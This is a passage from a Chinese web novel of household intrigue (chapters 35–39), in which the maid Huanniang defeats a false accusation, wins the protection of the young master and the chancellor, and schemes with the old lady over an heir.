欢娘弯着头,唯唯诺诺的。 却让月莹和宁从夏同时都沉了脸。 这般问是何意?难道她没见过,就说明月莹的兄长说谎了吗? 这不明摆着,就是向着欢娘? “萧晋文,你到底什么意思?” 宁从夏忍不了半点。 “双方各执一词,没查清楚之前,欢娘就是无辜的,让她跪着做甚?” 萧晋文冷着脸,都没看宁从夏。 她脸色煞白。 “怎么?难道还要让她坐下不成?” 她气不过的吼了一句。 可谁知下一秒,萧晋文真的拉着她,坐了下去。 全场寂静。 欢娘惶恐的看着萧晋文,小手微颤,却不敢说话。 而萧晋文竟是抓住了她的手,眼神也无比的温柔。 “别怕,你若是无辜的,本公子定还你一个公道。” 话音刚落,宁从夏不可置信的往后退了两步。 怨恨的眼神,紧盯着萧晋文,面容逐渐变得狰狞。 “好,很好,你好的很,有本事,你就永远别来找我。” 她怒摔衣袖,跑了出去。 萧晋文的手连忙收回,屁股都离开了椅子。 脸上也充满了担忧。 可也只是刹那,他还是坐了回来,没去理会。 “你说是你兄长亲眼所见?把你兄长叫来。” 他冷脸,看着月莹。 而此刻的月莹,也是脸色煞白。 欢娘在公子心目中的地位,何时那么重要了? “兄长他……” “公子,今日的事情,只怕是个误会,也许是月莹的兄长认错了人,误会一场。” 欢娘连忙打断她,柔声道。 “月莹姐姐,你说是不是?” 她轻声问道。 恐慌的月莹已经露了怯,以公子对欢娘的维护,她担心公子不信兄长所说。 毕竟今日的计划,是失败了的,所谓捉贼要拿贼,捉奸要拿个现行。 可欢娘逃脱了。 可是听欢娘那么一说,仿佛就是她的兄长诬陷了她,而她现在是不想计较,还帮着自己求情? 她看到公子的脸色都变了。 这罪,不能就这样认。 “是不是认错,对峙后便知道了,奴婢这就去将兄长找来。” 月莹冷声道。 看着欢娘一脸无辜的样子,她没来由的后背发凉。 这个女人,要么是真的蠢,运气好,要么就是……一直都在伪装。 “用不着你,小童,你去。” 她转身,可谁知却再次听到公子开口。 停住的脚步,好似冻住一般。 她艰难的转过身,不可置信的看着公子。 先是把宁从夏气走,现在是如此不信任她?今晚的公子,被夺舍了? “公子,宁姑娘怕是被气坏了。” 等人走后,欢娘柔声开口,面露担忧。 “那是她的事,她若整日都这般胡乱猜测,没完没了,那也不适合留在这里。” 萧晋文冷声道。 欢娘错愕,心里的兴奋,几乎要压抑不住了。 这就……因祸得福吗? 她可真是没想到,会是这样的局面。 都得多亏了宁从夏那目中无人的性子阿,将公子逼的不得不站在她身边。 不过她也没指望就因为今晚的矛盾,公子会将宁从夏撵出去。 “宁姑娘只是不习惯而已,而且确实是奴婢一时着急说错了话……” 所以她还是要伪装一下的。 公子为何会护着她呢?因为她乖巧,懂事,没想爬他的床,而且善良,单纯。 欢娘细数了一圈自己的优点。 萧晋文皱着眉,到底是没再说什么。 可旁侧,月莹听到这些话,只觉得恶心,她现在清醒了,幡然醒悟,欢娘就是个心机深沉的贱女人。 没一会儿,小童将月莹的兄长请了过来。 他叫月浩,因为有些生意头脑,就去了相府的铺子里做事,现在已经是粮油铺掌柜了。 他进屋后便下跪行了礼。 看着便是稳重得体的。 该说不说,月莹这一家子,在相府其实也算有头有脸了。 “知道她是谁吗?” 萧晋文眼神示意隔壁的欢娘,问道。 月莹手轻颤,委屈的咬了咬牙。 公子果然是不相信她。 月浩抬头,只是扫了一眼便挪开,极有分寸。 “回公子,奴才如果没记错,她便是公子您身边的新人,欢娘,今日奴婢在集市上,还碰见了她。” 闻言,萧晋文目光落在欢娘身上,似乎在问,可认识这人? “奴婢……真没见过他。” 欢娘连忙道。 “你……你是在哪里见着我的?你说我和男人私会,那男人,你瞧见没?” 她又跟着追问。 萧晋文看她神情紧张起来,只是皱了皱眉,并未打断。 随后月浩就报了她跑入街口的地名,还将当时周围的景象描述的很细致。 “奴才没记错的话,当时她还站在卖冰糖葫芦的摊贩前,那男人给她买了一串冰糖葫芦,两人……还一块儿吃。” 他极其淡定,听着都不像是编造的。 而且如他所说,那就是还有别的人证,如果怀疑他所言是假,便去查证,一查便知。 欢娘见公子的脸色都变了。 “你说谎。” 欢娘连忙否认。 “公子若不信,可去查验,奴才只是将看到的说了而已,至于那人和欢娘的关系,奴才不敢胡言。” 月浩依旧淡定。 惊慌的月莹也逐渐冷静下来,听着兄长说的这些话,都挺直了腰背。 “公子,既然集市上有那么多人,没准当真有人看到了,去找找,也许能找到那个男人。” “你说,有这回事吗?” 萧晋文冷声问道。 “没,没那个男人,没那回事,奴婢没有,公子,您……不能去查。” 欢娘似乎是一下就乱了分寸。 第三十五章挑衅,你玩不过我 可她这表情,反而惹人怀疑。 “那你说,今日你去了何处摘梅花,又是怎么回来的?为何这么晚?” 萧晋文冷了脸。 一个说的很详细,一个却遮遮掩掩的,他应该相信谁? 欢娘又是一阵沉默。 “就……去……去采了梅花,然后就……” “欢娘,这是你最后的机会,你若说不清楚,别怪本公子不客气。” 萧晋文看到她这反应,心都凉了。 难道这次要信错了人? 月莹冷眼看着,一脸得意。 月浩虽没什么表情,但那是胸有成竹的神情,他似乎笃定,欢娘什么都说不出来。 “公子,奴婢……” 欢娘急的掉眼泪,可却说不出话来,眼巴巴的看着萧晋文。 “快说阿。” 萧晋文看的都急了。 那表情,在他眼里就是无言以辩。 月莹站在旁侧,冷冷的盯着欢娘,有了胜券在握的信心,似乎在说,你死定了。 “再不说,我就把你交给老夫人处置。” 萧晋文被气到了,冷声道。 欢娘眼泪掉的更凶,急忙磕头。 “说,奴婢说,奴婢说就是了,求公子千万别让老夫人知道。” “只是……奴婢能不能单独跟您说?奴婢……奴婢有难言之隐。” 她看着兄妹两人那副嘴脸,真是想扯掉所有伪装,让他们死的明明白白。 她也想亲眼看到知道真相后的两人,到底会露出怎样的表情。 可……为了更得公子的欢心,也为了得相爷怜惜,她只能忍住冲动。 就只能再憋屈一下了。 萧晋文有些不耐烦的挥了挥手。 兄妹俩出了门。 屋内只剩下他们两人。 “你说。” 他语气不善。 月莹关门上,笑的一脸得意,好像还在挑衅欢娘,在说,这下你可就死定了。 “兄长,你做事可真是滴水不漏。” 屋外,月莹忍不住夸赞起自己大哥。 月浩轻笑,眼中满是鄙夷。 “区区一个老丫鬟,也能把你欺负成这样?因为她,母亲被送上了矿山,我一定会让她付出代价。” 说着,眼底划过一丝杀气。 让公子逐她出府只是第一步,之后,定要玩死她,为母亲报仇。 月浩眼底的狠厉划过,就连月莹都吓了一跳。 而屋内,欢娘擦掉了眼泪,将事情的来龙去脉,全都告诉了大公子。 从去采摘梅花遇到狂徒,到路上被相爷所救,随着相爷回府。 萧晋文听完以后,不可置信。 “您不知道,若不是遇到相爷,奴婢已经回不来了,相爷对奴婢有救命之恩。” “公子,奴婢真的是跟着一个叫春芽的丫鬟出去的,要不奴婢自己去大厨房找找看?” “奴婢……确实是遇到了一个男人,但那是相爷,不是别的,也没有吃什么冰糖葫芦,他定是认错了人。” 萧晋文在震惊中。 欢娘故作惊慌的一直在解释。 她没那个胆子,污蔑自己的父亲。 只是他真是意外啊,欢娘在街上遇到的男人居然是父亲,而且父亲还带着她,一起回来了? 怪不得欢娘不敢说。 “相爷说了,那院子被封禁,随意进出,那是要坐牢的,奴婢不想坐牢,公子,您帮奴婢保密可好?奴婢发誓,以后再也胡不去了。” 欢娘又道。 看她怕的,好像真怕被送去蹲监牢。 也怪不得被逼成那样,却一句话都不敢说。 “你所言属实?” 他又不放心的问了一句。 欢娘连忙点头,还举起手。 “奴婢发誓……” “所以一会儿你还要给父亲送糕点去?” 萧晋文又问道。 欢娘看了看一旁那梅花,郑重点头。 “这一耽搁,怕是都晚了,也不知相爷会不会责怪。” 她有些忧心。 萧晋文看着她这蠢样,真是没见过这么笨的人啊,明明那么无辜,却一句话都解释不清楚。 得亏他有耐心,护住她,否则就这样的丫鬟,遇到厉害的主子,怕是早就被乱棍打死了。 他暗叹口气。 没多久,门打开了。 月莹迫不及待的进去,仿佛已经预料到了欢娘的悲惨结局。 可是,迎面走来的是公子。 公子身后,欢娘眼尾轻挑着几分漫不经心的弧度,瞳仁里凝着冷丝丝的轻蔑,眼底藏着明晃晃的看好戏的笑意。 月莹有些错愕,这和她预料的,不太一样。 心没来由的慌了。 “你先去忙吧。” 萧晋文的语气格外温和。 “是,公子。” 她语气温柔,眼里就充满了挑衅和嘲讽。 就那么看着月莹,含着笑,从她面前,大大方方的离开了。 错愕间,只见公子冰冷的眸射了过来。 欢娘已经去厨房,做了糕点。 到长丰院时,都已经快子时了。 却见书房烛光微亮。 “相爷这么晚还没睡吗?” 欢娘忍不住问了一句。 “嗯。” 可萧一只是点了点头,并未多做解释。 把她领到书房,萧一便离开了。 这还是第二次,她半夜来找人,而且是在清醒状态下的,就不免有些紧张。 欢娘深吸口气,轻轻的推开门,走进屋子。 相爷面前堆了很多的折子,他正在批阅,连她进屋,都没抬眼。 她也不打扰,默默的走上前,将自己刚做的糕点放在桌上。 侧着头,看相爷写字。 相爷的手很大,手指修长,好似天生就是拿笔杆子的,写出的字也透着欢娘形容不来的美感。 就这么静静的呆了一会儿,直到他把批阅写完。 “会看?” 他依旧连眼皮都没抬一下。 放下笔,就拿梅花饼来吃。 眼神都没给欢娘一个,说话时,声音有些沙哑,语调很轻,好似只是漫不经心的随口一问。 “不会。” 欢娘诚实回答。 相爷似乎是有些意外,轻笑出声。 “奴婢不识字。” 她又解释,省得相爷以为她在窥探什么秘密。 但转念一想,不识字还看的那么专注认真,那不是平白惹人笑话吗? “奴婢只是觉得相爷您的字极好。” 所以又跟着说了一句,很真诚,但一听还是在拍马屁。 “有多好?” 萧怀停有些无奈,他就问了一句,可她倒是说的没完了。 “很值钱,能卖很多钱。” 欢娘顺口就道。 第三十六章罚了,就让我留下 萧怀停这次是真没忍住,笑了。 听得出来,那又是冷嘲。 欢娘撇撇嘴,也不多做解释。 书房里,还是很安静。 萧怀停吃了一个。 “味道不错。” 听着是赞美,却不带什么感情。 “那……奴婢以后常给您做。” 欢娘没什么情绪,他说了不错,那就顺势趁着送饼,多接触。 萧怀停没说话,便又继续批阅。 他似乎,是很忙。 烛光下他极其专注,欢娘忍不住打量着那俊美的侧脸。 谁说他年纪了?这不……刚刚好吗? 想着,看着,她竟是没出息的心跳加速。 只觉得这屋内的烛光,似乎暗了些,她又默默的剪短那些灯芯,让屋内更亮堂一些。 然后默默的开门离去。 萧怀停握着笔书写,动作没停,只是听着脚步声远去后,写出的字,变得锋利。 瞄了一眼桌上摆的好看的梅花饼,月白色的饼皮上梅花点缀,红的惹眼。 他眸色就越发的沉了。 片刻后,欢娘泡了热茶,小跑着进屋。 给相爷换了滚烫的茶水。 “还没走?” 相爷却猛地抬头,皱了皱眉。 似乎很嫌弃,她怎么居然还在? 欢娘被嫌弃的有些脸红,看着相爷那张俊美的脸,突然就有了色胆。 脸皮不厚,恩宠就不持久,想要的恩宠那都是她辛辛苦苦求来的。 所以她放下茶水后,直接抓住了书桌上把骨节分明的手。 “奴婢不想走,相爷要忙到何时?奴婢都陪着。” 说完这话,她自己的心都狂跳不停。 而且也在意料之中,相爷一下就把她的手给甩开了。 眼神冰冷的瞪着她。 “奴婢没规矩,奴婢认罚就是,罚完,便让奴婢在这儿就行。” 她又继续道。 说完就无比的忐忑,就盯着他的薄唇,真担心从他嘴里说出‘滚出去’三个字。 可好像也没她想象中糟糕。 相爷的脸色很冷,非常的冷。 她那脸,一边肿的极高,瞧着是被人打了。 可此刻的她看上去,倒是没半点可怜的。 他不作声,欲倒茶。 欢娘连忙抓住机会去表现。 绕至他面前,伸直了腰,半个身子探出去。 “让奴婢来。” 她抢先一步,蹭过他手背,提起茶壶,倒了杯热茶。 正要端着茶水献殷勤时,她感觉后腰被人按住,她抬不起来。 欢娘疑惑的回头望去。 相爷的目光依旧冰冷,依旧没什么表情。 她没敢动。 只是茶水滚烫,热意传到指尖,她有些受不住,烫的手微微有些发抖。 她连忙放下杯子,双手撑在桌上,低头看到的便是雪白的宣纸,笔墨就在一旁。 手按着宣纸,轻轻的都被压出了折痕。 这让她想起相爷那总是平整干净的衣裳,也是像这样,只要轻轻用力,就能破坏。 恍惚间,附在腰间的手,解开了她腰间的带子,欢娘有些错愕。 脸瞬间被染红,她一脸茫然。 冰凉的手指触到腰部软肉时,异样的体温和触感,让欢娘有些不适。 突然,相爷圈住她的腰,用力一带,她像是拴了线的风筝,一下就被拽回主人手里。 冷梅香逐渐变得浓郁,她僵硬的身体也逐渐在他怀里变得柔软。 那是持续了半夜的荒唐。 书房里,桌上的宣纸没有一张完好的,墨汁渐染,杂乱无章,就如这般春色,难以描述。 欢娘早上穿衣离开时,手指都微微有些颤抖。 可怕的是相爷一夜没睡,天还未亮便已经去上朝了。 明明还是他更费劲。 谁敢说,相爷年纪大了? 欢娘离开承德院时,都忍不住唏嘘。 天色尚早,她悄无声息的回到房里,看着镜子里此刻自己的样子,心底盘算着,距离下次来月事还有七天。 如果七天后没来,怀孕就有希望了。 今日她是得了允许休息的。 一会儿要去给赵娣庆生。 时间还早,她就躺回自己的小窝里,补觉。 午后,就简单收拾一下,出门了。 去赵娣家之前,她还专门备了份礼物。 现在手里有银子了,送给赵娣的东西,总要讲究些的。 只是当去了她家,将崭新的银镯套在她手上时,赵娣惊了。 下意识就用大拇指去比了比银镯的宽度,又抬着手,掂量掂量。 “你……这……疯了吗?” 赵娣待了片刻,连忙拿下来,就要塞回给欢娘。 “戴着好看,就戴着,日后……我再给你换个金的。” 欢娘默默想着,赵娣是她为数不多的朋友,视为亲人,将来等她发达了,定要对赵娣很好。 “那我等着你日后给我换金的,现在不要这个。” 赵娣没好气的道。 “就你那三瓜两枣的,我还能不知吗?就算现在得宠,得了些赏赐,那又能有多少?你与其给我,还不如赶紧拿着这些银子,去收买人心。” “要争宠,银钱就得花在刀刃上,懂吗?” “欢娘,你的出生,不比那些世家小姐,就算做丫鬟,也比不上大公子身边的月莹……” 赵娣苦口婆心给她讲道理。 简单来说,她要争宠,花费的精力和金钱,都要比别人更多。 欢娘连连点头。 “我知道啊,可你不也是我的人脉吗?我这是用心的讨好你,要你帮忙。” 说着她又将镯子给塞了回去。 “我哪还需要你这般……” “需要的,赵姐姐,若不是你帮我介绍张爷,我哪里能讨好公子和相爷,得了赏赐,你可知,我现在可是公子身边的红人?” 她抓着她结实有力的臂膀,就是不让她再推辞。 “承德院里的事,我也略有耳闻,你跟我说说,到底怎么回事?” 说到这个,赵娣有些发愁。 可她到底是老夫人院里的下人,有心帮忙,却也是人微言轻。 “可复杂了,你可知那位宁姑娘……” 欢娘叹了口气,有些苦恼的说起。 这也是重生后,她第一次跟人说出自己真实的想法。 宁从夏,那不是个好相处的,可却又是公子的心头好。 而月莹,跟随公子多年,目的又怎会单纯? “所以她们都针对你?” 赵娣一听就悟了。 然后就是一阵后怕,她不可置信的看着欢娘,似乎在说,那你又是怎么躲开的,而且如今还得大公子欢心? “现在,越针对,才越好呢,我不怕。” 欢娘点了点头,眼底闪着自信和得意。 第三十七章老萧家要有后了 赵娣看着这样的欢娘,有些发怔。 以前觉得她是有了变化,可现在才感觉,似乎是方方面面,都变了。 现在的欢娘,会发光。 “那……冯婆被发配,是不是你干的?” 她忍不住问道。 “那是她要害我,自找的。” “那……今天一早我听管事说,公子把月浩赶去了郊外庄子上做农活,也是你?” 月浩那可是下人里,极有脸面的人了。 年纪轻轻就做了掌柜,谁都比不了。 “那是公子的意思。” 欢娘愣了一下,倒是没想到公子的处罚会那么重。 只怕那两人到现在都想不通,公子不仅不追究她的责任,还要包庇她吧? 这样也好。 他们越是胡乱猜测,就越不安心,也只会以为,公子很宠她。 只怕能气的吐血。 而且吐血的还有宁从夏。 她那内伤,怕是好不了了。 赵娣惊叹着。 突然觉得自己担心的太多了,欢娘她现在,有本事的很。 瞬间,带着那银镯子,也不觉得有多沉。 “你别说,还挺适合我的。” “说吧,你今晚想吃什么?” 赵娣起身就奔向厨房去。 午饭,两人就吃面,简单对付一下。 “其实我想偷师,赵姐姐,你这儿有没有既好看又好吃的菜谱?交给我啊……” 欢娘跟着她,凑去厨房里。 她就那两把刷子,已经在相爷面前刷完了,想要继续保持水准,就要继续努力。 而赵娣能一下就被老夫人选中,作为小厨房的主厨,她的手艺,自是不用质疑的。 而且相爷确实更喜欢赵娣做的饭菜,每次去老夫人那儿,吃的都要多些。 “要讨好公子?你直接让我做就是,何必你费心思?你若沾染了烟火气,小心被嫌弃。” 赵娣却觉得,她实在没那必要。 能做美妾,十指不沾阳春水,多好啊。 “凡事亲历亲为,主子吃到的还有我的情意不是?” 对待相爷,可不能马虎。 好不容易积累的好感,她只希望一直加分。 赵娣听她把话说的那么肉麻,却又大大方方的,冷不丁打了个寒颤。 然后撸起了袖子,传授她拿手好菜。 一天。 已经一天一夜了,宁从夏闭门不出,可萧晋文始终没出现。 望着外头漆黑的夜空。 宁从夏焦虑,茫然,紧张,她害怕萧晋文真的就这样厌恶了她。 可是更多的却是不甘和失望。 当初是他哄着骗着,让她跟着他来京都的,说过不管发生什么,都会护着她。 可现在呢?就因为一个卑贱的小丫鬟,就让她难看? 这样的男人,要了做什么? 深夜,她果断收拾了行李,带着一身的伤,悄然离府。 可也就在她离开没多久。 秋菊在外面敲了敲门。 “姑娘?” 那轻声的疑问,带着少许试探。 当天夜里,老夫人萧苏氏便被吵醒了。 秦嬷嬷站在一旁,低声禀报。 “老夫人,那姑娘……自己离开了。” 萧苏氏听后,长长的叹了口气。 “派人盯着,别打扰,也别干涉。” 秦嬷嬷应下,只是在沉默片刻后,又道“依着这些日子观察,老奴觉得那宁姑娘实在当不起主母,她这次吵架,负气离开,若公子找不到她人,兴许也是好事。” 萧苏氏又叹了口气,摆了摆手。 秦嬷嬷退下,她便继续躺下。 萧晋文是第二天下午,从学堂归来后,才得知宁从夏离开的。 秋菊跪在屋内,一脸惶恐。 “公子恕罪,宁姑娘她……她不准我们进屋打扰,奴婢只以为她是在休息,可今早实在担心,就进屋查探,可没想……宁姑娘已经走了,只留下了这封信。” 她颤颤巍巍的解释着。 萧晋文脸黑如炭。 欢娘在旁听到这消息,并不意外。 宁从夏可是傲的很,她负气离开,可太正常了。 只是公子会如何呢? 萧晋文看完信,气的当场就撕碎了。 他不安的在屋内来回踱步,走了许久,正要出去时,欢娘大胆凑了上去。 “公子,宁姑娘怕真是气着了,还是赶紧将人找回来,她还受着伤呢。” 她在他耳边低语。 要跑出去的萧晋文愣了一下,脸色一黑。 “走就走了,我这相府留不住她,不勉强。” 他冷哼一身,甩着衣袖回了屋。 欢娘站在后面,假模假样的喊了两声。 不过她也没指望公子不去把人找回来,只是越晚,那便越好。 在此之前,她或许可以去找老夫人,先行动。 萧苏氏午觉醒来。 欢娘便进门行礼,还将自己新做的香包主动送上去。 “老夫人,奴婢听闻您夜里睡的总是不安稳,这香包是奴婢加了薰衣草,合欢花做的,有助眠安神之效。” 欢娘特意调配的。 但老夫人怕是不缺这些东西,也不一定会用。 可用不用是老夫人的事,她亲自做了送过来,那便是她一片心意。 表现给老夫人看到就行。 “恩,有心了。” 萧苏氏兴致缺缺,只是示意一旁的秦嬷嬷收下。 可看她的眼神,倒是和善,还带着笑。 “跪着作甚?起来说话。” 语气十分和蔼。 欢娘站起身,垂着头,站的规矩。 却感觉两道目光,将她从头到尾扫了两遍,看的她直起鸡皮疙瘩。 “这些日子在晋文身边,可还习惯?” 虽是那么问,但萧苏氏的笑容,都说明一切了。 欢娘点点头。 “公子待奴婢挺好的。” 她有些慌,也不知老夫人是不是看出点什么了。 “不错,你倒是没让我失望。” “老夫人,奴婢斗胆,为了公子有一事想来献策。” “噢?” 萧苏氏倒是好奇,这小丫鬟能有什么想法。 原本是漫不经心的,可听着听着,却不由得多打量起欢娘来。 原来老实本分,唯唯诺诺,倒是也不代表没脑子。 “难为你这般为晋文着想,你所言,倒是有些道理的,我会斟酌。” 最后,萧苏氏柔声道。 欢娘也松了口气,听老夫人的语气,她约莫是听进去了,说不准也觉得自己说的有道理。 然后便行礼离开。 两道目光,却始终落在她身上,直到她出了院门。 “秦嬷嬷,你瞧着,可有什么变化?” 萧苏氏眯着眼笑,也不知是在满意什么。 “腰更软了些,走路也和以前大步相同了,怪不得,那宁姑娘会被气走。” 秦嬷嬷笑的更是不加掩饰。 “看来,我萧家很快便能有后了。” 萧苏氏感慨着,盼了这么久,才看到希望,她内心百感交集。 第三十八章不娶妻,先纳妾 “寻个合适的机会,再给欢娘赏赐些东西。” “公子和那位宁姑娘闹的正难看,现在赏赐,怕是太引人注目,倒不如等确定她有了身孕,您借此提一提她的位份,也好让她死心塌地的跟着公子。” “生了这一胎,还能有二胎,有更多,她既是好孕的体制,应当能让老夫人您孙儿满堂。” 萧苏氏听着这些,仿佛看到很多个孩子在她面前跑啊,跳啊,不禁笑出了声。 欢娘回去后,就坐立不安。 虽然今日老夫人听取了她的意见,可那眼神,让她没来由的紧张。 想了想,她再次提着花篮去长风院。 没事就去相爷面前晃悠,总是没错的。 不出意外,萧怀停依旧在书房里。 采菊在一旁研墨,突然瞧见外面欢娘又在捡梅花,白皙的脸,和那红梅倒是相配的很。 她恍然想起昨日萧一侍卫嘱托她去查的事。 总不能是萧一在意这个欢娘吧? 而且昨日欢娘确实是从长风院离开的。 她不敢多想,可又担心自己太迟钝,没猜透主子的意思。 她想了想,试着开口。 “爷,前日承德院出了事,欢娘被那位宁姑娘打了一巴掌……” 萧一让她去查,欢娘那脸上的红印怎么来的。 她说的极慢,怕被爷打断,可直到她把事情说完,担心的事也没发生。 一时间,她唏嘘不已。 “听闻那宁姑娘和公子大吵一架,已经离开了。” 见爷没反应,她又低头说了一句。 “做好你的份内之事,闲杂人等,莫管。” 可突然听到爷冷声呵斥。 “是。” 采菊忙不停的再次恭敬低下头。 心底却不由得嘀咕,您口中的闲杂人等,是外头那位吗? “菡萏院的柳姨娘,生辰可快到了?” 突然爷问了一句。 “嗯,明日便是。” “今晚,去看看她。” 瞬间,采菊的脸色,跟调色盘一样精彩。 “是。” 爷这是怎么了? 大半年不踏足后院,甚至都让人误以为爷他身边是没女人的。 后院的女人就那么搁置着,好像落灰一样。 可现在却突然记挂起柳姨娘了? 采菊的混乱是一阵一阵的。 爷他早年和正妻和离以后,就不曾再娶,因绝嗣,对那方面的事情一直都十分冷淡。 府上是有两位姨娘,但都贪图富贵,才留在这府中。 爷对她们倒是不错,吃穿用度不曾差过,逢年过节,或是生辰,都是她安排,她去送礼。 这可是头一次,爷要主动过去。 外头,采梅花的欢娘,采完以后便离开了。 爷他一眼都没看过,可往日里,他处理公文累了,却是会赏梅的。 此时不看,才更显得奇怪。 莫不是那欢娘……采菊觉得自己刚萌生的想法太可怕,便又被压了回去。 而欢娘对此,一无所知。 她想着今晚可得给相爷再送些吃食过来,所以晚上就去大厨房忙活去了。 当晚,萧晋文被老夫人喊去吃饭。 其实他已经后悔了,准备出门找人。 所以和祖母坐在一起吃着斋菜时,有些心不在焉,就盼着早点把食物吃完,去找人。 “怎么?就那么不高兴陪着祖母?” 萧苏氏笑着打趣这孙子。 虽然他不是萧怀停亲生的,但却是她的亲孙子,是老大留下的种。 她自然打心眼里疼爱。 “没,只是祖母你知道的,我不喜欢吃素。” 萧晋文强挤出一抹笑,对这些吃的,依旧没什么胃口。 “也不想想,祖母吃素,那是为了谁?” “祖母……” “好了,我不勉强你,今晚叫你过来,也是有事要跟商量。” 看孙子没说两句就着急,她深感无奈。 他怎的就半点不像他的养父,怀停是那般稳重聪慧之人,可偏偏……他没子嗣。 萧苏氏又深深叹了口气,心底的遗憾,就算是孙子能生出孩子,也弥补不了的。 “我瞧你那般喜欢宁姑娘,她留在府中数日,咱们也不能毁了人姑娘名声的,祖母做主,先让你娶她做侧室,如何?” 萧晋文一脸震惊。 压根没想到会提婚事,愣了半响。 “祖母,你……怎么突然说这个?” 他内心是拒绝的,可祖母的话让他太震撼了,所以他还没来得及说清楚他的想法。 “你喜欢,祖母便只想让你高高兴兴的,她不是离家出走了吗?祖母知道她的下落,你若同意呢,祖母便先找个地方让她住下,等选好日子,让你风风光光的将她娶进门。” 萧晋文不敢相信,他和小夏的婚事,能那么容易? 只是侧室…… “那宁姑娘在江湖待惯了,怕是不会应酬这世家妇人的宴会,她若做了你的正室,势必要出席这些活动的。” “晋文,你父亲在朝中不易,已经因为绝嗣和离遭人非议了,若又因你的事……祖母实在是不忍心……” 萧苏氏叹了口气,眉宇间满是愁苦。 再怎么看,她都是个慈善的老人,看的萧晋文不忍说些什么。 而且祖母说的,不无道理,若做了正室,小夏受得了那些条条框框吗? “祖母不强迫你娶妻,若你和宁姑娘成亲后,能尽快生下孩子,她也习得礼仪,能做一家之母,祖母便允诺你,让她做你的正妻,你看如何?” 都说到这份上了,萧苏氏看孙子居然还犹豫,想起了欢娘说过的那些话。 孙子对那姓宁的,用情至深,若她当真翻脸反对,祖孙关系怕是要闹僵。 倒不如假意妥协,把难题抛给那姓宁的。 欢娘说,那姑娘性子强,绝不为妾,而经过她这些日子的观察,也确实如此。 “祖母说真的?” 萧晋文毫不怀疑祖母说的话,面露惊喜。 “怎么,还要祖母给你发誓不成?” 萧苏氏没好气的道。 “倒是不用。” 萧晋文喜笑颜开,刚才那点烦恼,立刻被他抛诸脑后了。 “祖母,小夏在哪里?我亲自去找她。” 他得告诉小夏,家里人已经同意他们的婚事了。 萧苏氏含着笑,慈爱的看着自家孙儿。 “别着急,陪祖母吃完这顿饭,也不迟。” 一旁,秦嬷嬷已经悄然离场。 另一边,欢娘已经做好了梅花饼,送去长风院。 可今晚的院子,格外冷静。 侍卫没拦她,进了院子,主屋和书房都是黑的。 “来见相爷?” 采菊的声音,从远处传来,片刻后就见她穿着寝衣,披着棉袄走来。 第三十九章不管你回不回来,我都等你 欢娘看到她的瞬间,心头一跳,连忙垂下头。 满脑子都是完了完了,被发现了的心慌。 而且居然还是采菊,是相爷身边唯一的女侍。 前世,她可是成了相爷的通房,是相爷身边最亲近的女子啊。 “胆子这般小,也敢来?” “奴婢来送吃食。” 欢娘垂下头,还把吃的稍微举高了些。 采菊瞧她这般恭敬,倒不像那些愚蠢的姑娘,得宠了便目中无人。 “今晚爷怕是吃不上了,你回吧。” 她也没打算为难她。 “相爷他可是出门办事?奴婢可以在这儿等着。” 欢娘想自己总没有白做的道理,干脆就在这儿等着相爷回来,让他看到自己的痴心。 可采菊却只见到一小丫鬟天真的可笑。 “相爷去了柳姨娘院里,今晚约莫是不回来的,你等了也是白等,回去吧。” 趁着才开始,她还是提醒一下这丫鬟,别把一夜之欢,看的太重。 欢娘愣住。 眼睁睁看着采菊回了房,这走廊下,瞬间只有她一人,冷风簌簌,她手指都有些冰凉。 是啊,她都忘了,相爷虽然与正妻和离,可后院是有女人的。 两位姨娘,年轻时候就跟着相爷了,相爷性情冷淡,但对那两位姨娘一直都不错。 说不上有多难过。 只是她真没想到,相爷会去找他的妾侍。 欢娘幽幽叹了口气。 转身欲走。 可就这么走了,还真是怪窝囊的。 环顾四周,没人,可她还不信一向守卫森严的长风院当真是没人看着。 她一咬牙,走到主卧门口,倚着那根柱子坐下。 人缩成一团,做的糕点也护在怀里。 采菊倒了杯水喝,解渴。 不经意的抬头一看,窗外,弱小无助的缩成一团。 她蹙了蹙眉,好心提醒,她却以为自己是那个特别的? 也罢,等着等着,她便死心了。 好冷。 欢娘就靠着柱子,吹了一个时辰的冷风。 人都快要冻僵了。 不行,她得站起来活动活动。 可就在要起身时,却听到门被推开的声音。 抬眼望去,只见远处一道黑色身影迈着长腿走来。 欢娘眼睛一亮,直起了身子。 玄色锦袍的衣摆轻扫过青石路面,不疾不徐的步履,敲碎了夜的沉寂,却又添了几分沉稳的温软。 身形挺拔如崖间松,肩背舒展,衬得那宽袖流云般垂落,每一步都似踏在人心尖上,慢,却清晰。 发间束着一枚素玉簪,墨发松松挽着,几缕碎发垂在颈侧,被夜风轻扬,褪去了几分凛冽,添了柔和。 晚风拂过,冷梅香袭来,欢娘清醒了几分,心却不受控的在跳动。 “你在这儿做什么?” 恍惚间,相爷带着一丝责备的声音传来。 “等你。” 欢娘哑着声音。 抬起头,看着这高高在上的男人,她欲起身,却突然有了别的主意。 他覆手而立,半点没有靠近她的意思。 甚至似乎有些厌烦,她居然在这里。 但这也不影响欢娘做她要做的事。 “奴婢以为,你当真不……” 她哑着声音,略有些委屈,身子起了一半,下一秒便直接朝着相爷倒了下去。 哐…… 萧怀停结结实实的被砸了。 像块石头,硬邦邦的。 他险些没稳住身子后退,可疼痛之后,却是柔软的身体紧贴着她。 而他的手,都不知何时,搂住了她的腰。 萧怀停不满的想将人推开,却发现她没了意识,做好的梅花饼也从她手中脱落,散落满地。 “爷,人好像晕了?” 萧一看着这一幕,眼睛不知道都跳了多少回。 事实上,每次欢娘出现,他都觉得这戏怪好看的。 他提醒了,可爷还是没动。 “指不定在这儿等了多久,天儿这般凉,只怕是要生病。” 这次,话刚说完,一个冷刀子就射了过来。 萧一连忙往后缩了缩脖子。 他家爷,终于是动了。 没把人丢出去,反而是抱着,进了屋子。 萧一的目光追随了一阵,最后撇撇嘴,隐于黑暗中。 他就说嘛,爷常年不进后院,怎的突然要去柳姨娘那儿。 结果去了,也没待多久。 现在看来,爷的反常,极有可能是因这欢娘。 好在,欢娘不是爷以为的细作。 就是个普通的小丫鬟,爷喜欢就喜欢了,没什么要紧的。 可采菊知道的远没有萧一多。 她只清楚,前夜,欢娘是天亮以后才离开的。 此刻,看着床上晕睡的女子,表面平静的她内心早已拍起了惊涛骇浪。 因为欢娘就躺在爷的床上。 她给她简单擦洗后,脱掉了外衫,用被子严严实实的捂好。 “没什么大事,怕是外面太冷,冻着了。” “她在外面呆了多久?” 萧怀停端坐在桌边,挺直了腰背,身形笔挺,颀长。 因穿着便服,看上去要比往日要温和些,透着一丝居家的慵懒。 可采菊却不敢直视。 听到这问话,心头难免心惊。 